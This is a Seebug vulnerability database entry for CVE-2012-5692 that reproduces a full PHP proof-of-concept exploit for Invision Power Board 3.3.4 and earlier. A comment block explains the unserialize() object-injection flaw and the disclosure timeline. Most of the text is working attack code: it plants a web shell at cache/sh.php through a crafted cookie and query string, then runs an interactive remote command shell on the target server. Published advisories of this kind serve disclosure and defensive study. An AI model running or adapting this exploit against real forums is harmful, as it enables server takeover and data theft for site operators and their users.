Lucene search

K
seebugRootSSV:76203
HistoryJul 01, 2014 - 12:00 a.m.

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution

2014-07-0100:00:00
Root
www.seebug.org
34

0.959 High

EPSS

Percentile

99.3%

No description provided by source.


                                                &#60;?php

/*
    ----------------------------------------------------------------
    Invision Power Board &#60;= 3.3.4 &#34;unserialize()&#34; PHP Code Execution
    ----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: http://www.invisionpower.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
    
    4015.        static public function get($name)
    4016.        {
    4017.            // Check internal data first
    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )
    4019.            {
    4020.                return self::$_cookiesSet[ $name ];
    4021.            }
    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings[&#39;cookie_id&#39;].$name] ) )
    4023.            {
    4024.                $_value = $_COOKIE[ ipsRegistry::$settings[&#39;cookie_id&#39;].$name ];
    4025.    
    4026.                if ( substr( $_value, 0, 2 ) == &#39;a:&#39; )
    4027.                {
    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );
    4029.                }
    
    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts
    with &#39;a:&#39;,  but this is not  sufficient to prevent a  &#34;PHP Object Injection&#34;  because an attacker may send  a
    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code
    via the  &#34;__destruct()&#34; method of the  &#34;dbMain&#34; class,  which calls the &#34;writeDebugLog&#34; method to write debug
    info into a file.  PHP code may  be injected  only through the  $_SERVER[&#39;QUERY_STRING&#39;]  variable,  for this
    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

    [-] Disclosure timeline:
    
    [21/10/2012] - Vulnerability discovered
    [23/10/2012] - Vendor notified
    [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
    [25/10/2012] - CVE number requested
    [29/10/2012] - Assigned CVE-2012-5692
    [31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#39;default_socket_timeout&#39;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die(&#34;\n[-] No response from {$host}:80\n&#34;);
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+---------------------------------------------------------------------+&#34;;
print &#34;\n| Invision Power Board &#60;= 3.3.4 Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+---------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost /&#34;;
    print &#34;\nExample....: php $argv[0] localhost /ipb/\n&#34;;
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet  = &#34;GET {$path}index.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;
    
$_prefix = preg_match(&#39;/Cookie: (.+)session/&#39;, http_send($host, $packet), $m) ?  $m[1] : &#39;&#39;;

class db_driver_mysql
{
    public $obj = array(&#39;use_debug_log&#39; =&#62; 1, &#39;debug_log&#39; =&#62; &#39;cache/sh.php&#39;);
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = &#39;&#60;?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?&#62;&#39;;

$packet  = &#34;GET {$path}index.php?{$phpcode} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: {$_prefix}member_id={$payload}\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

http_send($host, $packet);

$packet  = &#34;GET {$path}cache/sh.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

if (preg_match(&#39;/&#60;\?error/&#39;, http_send($host, $packet))) die(&#34;\n[-] short_open_tag disabled!\n&#34;);

while(1)
{
    print &#34;\nipb-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match(&#39;/___(.*)/s&#39;, $response, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}